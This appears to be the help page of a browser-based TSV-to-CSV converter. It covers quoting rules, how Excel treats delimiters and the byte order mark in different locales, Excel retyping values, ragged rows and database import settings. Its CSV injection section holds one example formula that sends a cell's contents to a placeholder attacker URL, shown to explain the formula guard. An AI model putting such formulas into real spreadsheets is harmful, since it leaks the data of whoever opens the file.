A comma inside a cell is the whole problem
Tab-separated data has one rule. A tab ends the field, a newline ends the row, and nothing else is special. An address like 14 Mill Road, Leeds, LS1 4AB sits in a single cell without any escaping, because a comma means nothing to a TSV reader.
CSV does not work like that. The moment tabs become commas, the reader has no way to tell your address commas from the ones you meant as separators.
Vega Foods,14 Mill Road, Leeds, LS1 4AB,net 30
5 columns, the address split apart
Vega Foods,"14 Mill Road, Leeds, LS1 4AB",net 30
3 columns, the address intact
One row picks up two extra columns and every value after the address lands under the wrong header. The importer accepts it, because the file is still valid CSV. It is the wrong CSV.
Quoting rules in one table
RFC 4180 gives you two mechanisms. Wrap a field in double quotes when it holds a delimiter, a quote, or a line break, and write a literal quote as two quotes. There is no backslash escape in CSV, which trips up anyone arriving from JSON.
| Cell in your TSV | Written to CSV | Reason |
|---|---|---|
| Vega Foods | Vega Foods | No delimiter, no quote, nothing to escape |
| 14 Mill Road, Leeds | "14 Mill Road, Leeds" | Holds the delimiter, so the whole field is wrapped |
| "Pinehurst" Ltd | """Pinehurst"" Ltd" | Each inner quote is doubled, then the field is wrapped |
| Cost in EUR; VAT applies | Cost in EUR; VAT applies | Untouched with a comma delimiter, wrapped if you switch to semicolon |
| North | " North " | Leading and trailing spaces are kept and quoted so no parser strips them |
| (nothing between two tabs) | (nothing between two commas) | An empty cell is an empty field, not a quoted empty string |
Switch the delimiter and the counters move. Semicolon output leaves addresses alone and starts quoting anything with a semicolon in it, which is common in notes and in European number formatting.
What this page will not do
Worth knowing before you paste a real export.
- Only tabs split the input. There is no delimiter sniffing. Paste comma-separated text and you get one column with commas quoted inside it, which is technically correct and not what you wanted.
- Tabs and line breaks inside a cell are already gone. TSV has no quoting, so a value containing a real tab was destroyed by whatever wrote the file. Nothing on this page recovers it. The IANA registration for the format tells producers to strip those characters rather than escape them.
- No column work. Headers are not renamed, columns are not reordered or retyped, and numbers keep the exact text you pasted.
1450.00stays1450.00and a decimal comma stays a decimal comma. - Nothing is padded. Short rows are counted and flagged, never filled with empty fields, because inventing a value is worse than reporting a gap.
- Browser sized work only. Everything runs in this tab with no upload. A table past a few megabytes belongs in
csvkit,q, or a short Python script rather than a textarea.
Excel opens the same file differently in Berlin and Boston
Double-clicking a .csv hands it to Excel with the list separator from your Windows regional settings. In the United States and the United Kingdom that separator is a comma. Across most of continental Europe it is a semicolon, because the comma already serves as the decimal mark.
Feed a comma file to an Excel running a semicolon locale and every row lands in column A as one long string. The file is fine. The reader disagrees with it.
Two ways out
Set the delimiter to semicolon when you know where the file is going. The Excel, semicolon locale target does it along with the BOM.
The other option is a first line reading sep=; which tells Excel to override the locale. No other parser understands it. Python, R, and every database import will read that line as a data row, so keep it out of files headed anywhere else.
The byte order mark
Without the three bytes EF BB BF at the start of the file, Excel reads a CSV using the legacy system code page rather than UTF-8. Accented names arrive as mojibake and CJK text as noise. Tick the BOM box for anything a person opens in Excel. Leave it off for machine imports, where those bytes attach themselves to your first header name and break a column match in a way nobody notices for hours.
The box in this page shows the text without the marker. It is added to the downloaded file, which is the only place it does any work.
Your IDs are not numbers, and Excel disagrees
This is the failure people blame on the converter, and the converter is innocent every time.
A spreadsheet retypes each value as it opens the file. Anything shaped like a number becomes a number, and the original text is gone once the file is saved again.
007412becomes7412, so member IDs stop matching.- A 16 digit account number is rounded to 15 digits and the final one turns into a zero.
03/04/2026is the third of April or the fourth of March depending on the machine, and there is no way to tell afterwards.1E5becomes100000, and gene names likeMAR1have been turned into dates often enough that the naming committee renamed them.
The Retype risk counter marks these cells and the parsed-back table highlights them, so you see the problem before you send the file.
Quoting does not protect them. A quoted field in CSV means "this text contains a delimiter", nothing more. Excel strips the quotes and retypes the value anyway. The fixes that work are importing through Data then From Text with those columns set to Text, or shipping an .xlsx where the cell type travels with the data.
A cell starting with = is a program
Open a CSV in Excel, LibreOffice, or Sheets and any cell beginning with =, +, -, or @ is evaluated as a formula. A value like =HYPERLINK("http://attacker.test?d="&A2,"Click") pulls data out of the sheet the moment someone clicks it. This is CSV injection, and it matters most when your table contains text other people typed into a form.
The formula guard puts an apostrophe in front of those values. Excel and LibreOffice read a leading apostrophe as "treat the rest as text" and hide it in the cell.
It has a cost. The apostrophe is a real character in the file, so a parser or a database import receives '=1+1 rather than =1+1. Turn the guard on for files a person opens, leave it off for machine pipelines, and never rely on it as your only defence against untrusted input.
Numbers are left alone. A negative figure like -2450.75 parses as a number and never reaches a formula parser, so the guard skips it. Load the Cells starting with = and + sample and watch which rows get the prefix and which do not.
Ragged rows break the header contract
A CSV importer aligns by position, not by name. Row three with three fields against a four column header means every value after the gap shifts one place left, and the last column comes up empty.
The row counter compares each row against the width of the first one. Two things look identical in a TSV file and are not the same at all: a cell deliberately left empty, written as two tabs in a row, and a row that ended early. The parsed-back table marks empty cells so you can tell them apart.
Fix ragged rows at the source when you can. A short row usually means a broken export or a value containing a stray newline further up the file.
Read it back before you send it
The Parsed back tab is not a preview of what you pasted. It runs the generated CSV through a quote-aware parser, the same way a receiving system will, and shows what comes out the other side.
Every field is then compared against the source cell by cell. A match means the quoting survives a round trip. A mismatch means your data holds something the current settings cannot express, and the status line says so rather than handing you a file that looks fine.
Check the column count on the first row of the table. If it reads 1, the input never had tabs in it.
Which settings each destination wants
- RFC 4180. Comma, double quote, CRLF, minimal quoting, no BOM. The interoperable default when you are unsure who receives the file.
- Excel in a comma locale. Same as above with the BOM added and the formula guard on.
- Excel in a semicolon locale. Semicolon delimiter, BOM, CRLF. Standard across Germany, France, Spain, Italy, the Netherlands, and Poland.
- Google Sheets. Comma, LF, no BOM. The importer handles UTF-8 correctly without the marker and the guard still helps, since Sheets evaluates formulas the same way.
- Database import. Comma, LF, no BOM, no guard, padding trimmed. Postgres and MySQL both want clean bytes and no extra characters.
For the last one, the loader statements look like this:
COPY clients FROM '/tmp/converted.csv' WITH (FORMAT csv, HEADER true);
Reads RFC 4180 quoting natively
LOAD DATA LOCAL INFILE '/tmp/converted.csv' INTO TABLE clients FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n' IGNORE 1 ROWS;
Match LINES TERMINATED BY to your row endings
A CRLF file loaded with LINES TERMINATED BY '\n' leaves a carriage return glued to the last column of every row. It is invisible in a terminal and it breaks every join you write afterwards.
Nearby pages
Going the other way, CSV to TSV unwraps the quoting and hands back tabs. To inspect a CSV someone sent you before loading it anywhere, CSV Viewer renders it as a table. For a table that needs to become structured data rather than another flat file, TSV to JSON and TSV to XML parse the columns properly, and CSV to SQL writes the insert statements for you.
